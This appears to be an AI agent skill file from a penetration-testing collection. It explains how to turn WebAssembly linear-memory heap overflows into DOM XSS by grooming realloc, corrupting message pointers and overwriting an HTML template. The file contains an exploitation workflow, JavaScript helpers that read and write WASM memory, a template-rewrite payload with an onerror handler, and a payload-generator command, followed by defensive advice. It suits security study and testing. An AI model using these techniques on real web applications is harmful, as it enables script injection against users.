Hacktricks-skills wasm-memory-corruption-xss

Exploit WebAssembly linear memory corruption to bypass XSS filters and achieve DOM XSS. Use this skill whenever the user mentions WebAssembly, WASM, Emscripten, linear memory corruption, memory overflow, heap corruption, XSS bypass, or any scenario where a web app uses WASM modules and sanitization might be bypassed through memory manipulation. This is especially relevant when investigating Emscripten-compiled applications with user-controlled data that gets rendered to the DOM.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss/SKILL.MD
source content

WebAssembly Linear Memory Corruption to DOM XSS

This skill guides you through exploiting memory corruption vulnerabilities in WebAssembly modules to bypass XSS filters. The core technique corrupts writable constants in WASM linear memory (like HTML templates) instead of attacking sanitized input directly.

When to Use This Skill

Use this skill when:

  • Investigating web applications that use WebAssembly modules (especially Emscripten-compiled)
  • XSS filters are in place but you suspect memory corruption vulnerabilities
  • You need to understand WASM memory layout and exploitation techniques
  • Debugging WASM applications in Chrome DevTools
  • Analyzing Emscripten glue code and Module.cwrap calls

Core Concept

In WebAssembly:

  • Code lives in non-writable executable pages
  • Data (heap, stack, globals, "constants") lives in writable linear memory (64KB pages)
  • Buggy C/C++ code can write out-of-bounds and overwrite adjacent objects
  • If a constant string used for HTML templating is corrupted, sanitized input becomes executable JavaScript

Vulnerability Pattern

Typical Data Model

typedef struct msg {
    char *msg_data;       // pointer to message bytes
    size_t msg_data_len;  // length after sanitization
    int msg_time;         // timestamp
    int msg_status;       // flags
} msg;

typedef struct stuff {
    msg *mess;            // dynamic array of msg
    size_t size;          // used
    size_t capacity;      // allocated
} stuff; // global chat state in linear memory

Vulnerable Logic

  1. addMsg()
    : Allocates buffer sized to sanitized input, appends to array, doubles capacity with
    realloc()
    when needed
  2. editMsg()
    : Re-sanitizes and
    memcpy()
    s new bytes without checking if new length ≤ old allocation → heap overflow
  3. populateMsgHTML()
    : Formats sanitized text with a template string in linear memory, returns HTML to DOM sink

Exploitation Workflow

Step 1: Reconnaissance

  1. Identify WASM usage: Look for
    .wasm
    files,
    Module.cwrap
    calls, Emscripten glue code
  2. Find memory corruption primitives: Heap overflow, UAF, unchecked
    memcpy
    , buffer overflows
  3. Locate HTML templates: Search for format strings like
    <article><p>%.*s</p></article>
    in linear memory

Step 2: Chrome DevTools Setup

// Break on first Module.cwrap call and step into WASM call site
// Capture pointer arguments (numeric offsets into linear memory)

// Use typed views to read/write WASM memory
Module.HEAPU8[ptr]  // Read/write single byte
Module.HEAPU8.subarray(ptr, ptr + len)  // Read byte range

Step 3: Memory Grooming

Send enough messages to trigger

realloc()
and ensure the message array (
s->mess
) is adjacent to user buffers in linear memory:

// Add N small messages to exceed initial capacity
// After growth, realloc() often places s->mess immediately after the last user buffer

Step 4: Overflow and Pointer Corruption

Overflow the last message via

editMsg()
with a longer payload to overwrite entries in
s->mess
:

// Set msg_data of message 0 to point at (stub_addr + 1)
// The +1 skips the leading '<' to keep tag alignment intact

Step 5: Template Rewrite

Edit message 0 so its bytes overwrite the HTML template:

// Original: "<article><p>%.*s</p></article>"
// Overwrite with: "img src=1      onerror=%.*s "

Step 6: Trigger XSS

Add a new message with JavaScript content:

// Content: "alert(1337)"
// Result: <img src=1 onerror=alert(1337)> executes immediately

Helper Functions

Memory Search

function searchWasmMemory(str) {
  const mem = Module.HEAPU8;
  const pat = new TextEncoder().encode(str);
  for (let i = 0; i < mem.length - pat.length; i++) {
    let ok = true;
    for (let j = 0; j < pat.length; j++) {
      if (mem[i + j] !== pat[j]) { ok = false; break; }
    }
    if (ok) console.log(`Found "${str}" at memory address:`, i);
  }
  return -1;
}

Byte Manipulation

function writeBytes(ptr, byteArray) {
  if (!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
  for (let i = 0; i < byteArray.length; i++) {
    const byte = byteArray[i];
    if (typeof byte !== "number" || byte < 0 || byte > 255) {
      throw new Error(`Invalid byte at index ${i}: ${byte}`);
    }
    HEAPU8[ptr + i] = byte;
  }
}

function readBytes(ptr, len) {
  return Array.from(HEAPU8.subarray(ptr, ptr + len));
}

function readBytesAsChars(ptr, len) {
  const bytes = HEAPU8.subarray(ptr, ptr + len);
  return Array.from(bytes).map(b => (b >= 32 && b <= 126) ? String.fromCharCode(b) : '.').join('');
}

// Little-endian bytes to int
const bytesToInt = (bytes) => bytes.reduce((acc, b, i) => acc + (b << (8 * i)), 0);

Exploit Payload Generation

Use the

generate-exploit-payload.py
script to create serialized action lists:

python scripts/generate-exploit-payload.py \
  --groom-count 11 \
  --overflow-msg-id 10 \
  --template-addr 0x12345 \
  --xss-payload "alert(1337)"

This generates a JSON action list that can be Base64-encoded and placed in URL parameters.

Defensive Guidance

For Developers

  1. Validate lengths in edit paths: Verify new length ≤ capacity; resize buffers before copy
  2. Use size-bounded APIs:
    snprintf
    ,
    strlcpy
    ,
    memcpy
    with explicit bounds
  3. Keep templates immutable: Store HTML templates in read-only memory or integrity-check before use
  4. Treat JS↔WASM boundaries as untrusted: Validate pointer ranges/lengths, fuzz exported interfaces
  5. Sanitize at the sink: Avoid building HTML in WASM; prefer safe DOM APIs over
    innerHTML
  6. Cap memory growth: Limit WASM memory expansion to prevent excessive allocation

For Security Teams

  1. Fuzz WASM interfaces: Test exported functions with malformed inputs
  2. Monitor memory patterns: Look for unusual
    realloc()
    sequences or pointer values
  3. Code review WASM glue: Check Emscripten bindings for unsafe patterns
  4. Use memory-safe languages: Consider Rust or other memory-safe alternatives for WASM modules

Common WASM Pitfalls

  • Out-of-bounds writes/reads in linear memory
  • Use-after-free on heap objects
  • Function-table misuse with unchecked indirect call indices
  • JS↔WASM glue mismatches (type confusion, pointer arithmetic errors)
  • Unchecked
    memcpy
    /
    memmove
    operations
  • Integer overflow in size calculations

References